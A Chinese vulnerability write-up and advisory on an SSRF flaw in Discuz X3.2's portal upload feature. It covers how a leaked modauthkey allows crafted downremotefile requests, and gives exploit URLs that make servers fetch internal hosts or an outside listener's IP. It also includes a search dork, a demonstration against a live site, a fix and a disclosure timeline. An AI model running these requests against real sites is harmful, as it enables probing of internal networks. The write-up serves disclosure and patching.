2016-06-01 12:44:50
来源:360安全播报 作者:0keeTeam
阅读:1006次
点赞(0)
收藏
分享到:
ModNar@0keeTeam
起因&漏洞点
在看ImageMagick影响DZ这条线,排查上传点时发现的有问题逻辑
简单说就是:
1.正则并没对content参数包含的url部分内容做限制,
2.DZ图片后缀检查函数可用aaa.php#b.jpg绕过
3.DZ图片内容检查函数限制了非图片文件请求的SSRF利用后的回显
前提分析
source\include\portalcp\portalcp_upload.php
Line 19:
if($aid){ //目前只能走aid存在的逻辑,原因上面已解释 $article=C::t('portal_article_title')->fetch($aid); if(!$article){ portal_upload_error(lang('portalcp','article_noexist')); } if(check_articleperm($catid,$aid,$article,false,true)!==true){ portal_upload_error(lang('portalcp','article_noallowed')); } }else{ if(($return=check_articleperm($catid,$aid,null,false,true))!==true){ portal_upload_error(lang('portalcp',$return)); } }source\function\function_portalcp.php
//此函数用于判断是否具有操作文章的权限,由于前两个条件在数据库里初始化,普通用户无法绕过。
//所以这里主要关注modauthkey这个函数的算法是否可预测
functioncheck_articleperm( if($_G['group']['allowmanagearticle']||(empty($aid)&&$_G['group']['allowpostarticle'])||$_GET['modarticlekey']==modauthkey($aid)){ returntrue; }source\function\function_core.php
//生成算法里有个authkey,值是Discuz安装时随机生成的
//于是换个思路去看,是否有调用此函数且泄露到页面里的逻辑
functionmodauthkey($id){ returnmd5(getglobal('username').getglobal('uid').getglobal('authkey').substr(TIMESTAMP,0,-7).$id); }定位前台可能输出modauthkey的点
source\module\forum\forum_redirect.php
//这里条件似乎很简单,只要'modthreadkey'参数值不为空即可在跳转链接中带上由tid算出的modauthkey
//$tid可控是关键
Line 108:
header("HTTP/1.1301MovedPermanently"); dheader("Location:forum.php?mod=viewthread&tid=$tid&page=$page$authoridurl$ordertypeurl".(isset($_GET['modthreadkey'])&&($modthreadkey=modauthkey($tid))?"&modthreadkey=$modthreadkey":'')."#pid$pid");Line 22:
//$ptid, $pid都可由GET参数控制,关键的$tid是由这两个参数查库得来的
//其中前者和$tid关联度较高,只要数据库里存在对应id,则$_GET[‘ptid’]==$ptid==$tid//又因为数据表中自增的id字段是从1开始的,所以前面分析到portalcp_upload.php检查逻辑时,只能走$aid存在且不等于0的逻辑
if($_GET['goto']=='findpost'){ $post=$thread=array(); if($ptid){ $thread=get_thread_by_tid($ptid); } if($pid){ if($thread){ $post=C::t('forum_post')->fetch($thread['posttableid'],$pid); }else{ $post=get_post_by_pid($pid); } if($post&&empty($thread)){ $thread=get_thread_by_tid($post['tid']); } } if(empty($thread)){ showmessage('thread_nonexistence'); }else{ $tid=$thread['tid']; }得出利用前提
ptid==aid且两者必须存在(ptid==帖子id,aid==门户文章id),pid=任意评论id。
即论坛门户发表过文章,具体可用以下方法探测:
http://xxx.com/portal.php?mod=view&aid=1
利用和复现
以最新的Discuz(20151208)为例
准备和确认
http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=view&aid=1
确认门户中存在发表过的文章,记录下可用的aid
第一步
登陆后,请求获取modauthkey算出的一个key,用于操作对应文章:
http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=redirect&goto=findpost&modthreadkey=1&ptid=1&pid=1
从跳转的链接取出modthreadkey的参数值:
http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=viewthread&tid=1&page=1&modthreadkey=fce8163c9f310147f91a244a9eb9dc33#pid1
第二步
带上当前formhash,modarticlekey拼上第一步的modthreadkey的值,即可发请求:
POST:http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=portalcp&ac=upload&aid=1&catid=1&op=downremotefile&formhash=760dc9d6&modarticlekey=fce8163c9f310147f91a244a9eb9dc33&content=%3Cimg%20src=http://internal.zabbix/images/general/zabbix.png%3E
aa=a
图片被下载并上传到Discuz指定的图片路径下:
http://a.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626qszsaqolbm9l93qm.png
http://a.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626qszsaqolbm9l93qm.png.thumb.jpg
线上站点示例
Baidu:
site:qq.com inurl:"portal.php?mod=view&aid="
1.SSRF请求图片:
http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://www.baidu.com/img/bd_logo1.png%3E
保存地址:
http://mygd.qq.com/tfs/portal/201605/17/172818qm7rrrnp3mkq5c4r.png
2. SSRF请求其他地址:
http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://103.42.13.155/justtest.php%231.png%3E
远程nc监听:
修复方案
临时修复方案
source/include/portalcp/portalcp_upload.php:
对应修改或新增代码:
functionfilter_ssrf($url) { $private_ipList=array( "127.0.0.0"=>"127.255.255.255", "10.0.0.0"=>"10.255.255.255", "172.16.0.0"=>"172.31.255.255", "192.168.0.0"=>"192.168.255.255" ); $urlInfo=parse_url($url); $ip=gethostbyname($urlInfo['host']); $iplong=ip2long($ip); if(!empty($iplong)){ foreach($private_ipListas$startIp=>$endIp){ $startLong=ip2long($startIp); $endLong=ip2long($endIp); if($iplong>=$startLong&&$iplong<=$endLong){ echo"filtered"; returnfalse; } } returntrue; } elsereturnfalse; } $operation=$_GET['op']?$_GET['op']:''; …… …… if(!$upload->is_image_ext($attach['ext'])){ continue; } $content=''; if(preg_match('/^(http:\/\/|\.)/i',$imageurl)&&filter_ssrf($imageurl)){ $content=dfsockopen($imageurl); }elseif(checkperm('allowdownlocalimg')){官方补丁
http://www.discuz.net/thread-3570835-1-1.html
source/function/function_portalcp.php:
总结
1.此漏洞的利用需要一定的前提,即论坛管理者在论坛门户发表过文章,具体可用以下方法探测:
http://*/portal.php?mod=view&aid={30}
2.下载结合上传的逻辑隐患较多,排查其他类型漏洞的时候可以捎带关注这些逻辑的实现
3.绕过涉及到随机密钥算法的函数检查,可以全局查找程序可能泄露算法返回值的地方入手
漏洞处理Time Line
处理时间 处理详情
2016-05-17 18:06:47 向TSRC报告了该漏洞。
2016-05-17 18:59:01 问题评估中
2016-05-18 15:22:10 TSRC管理员确认了该漏洞
2016-05-19 16:54:04 协助TSRC管理员确认了该漏洞细节
2016-06-01 10:36:26 Discuz官方发布20160601补丁,修复了此问题
本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2889.html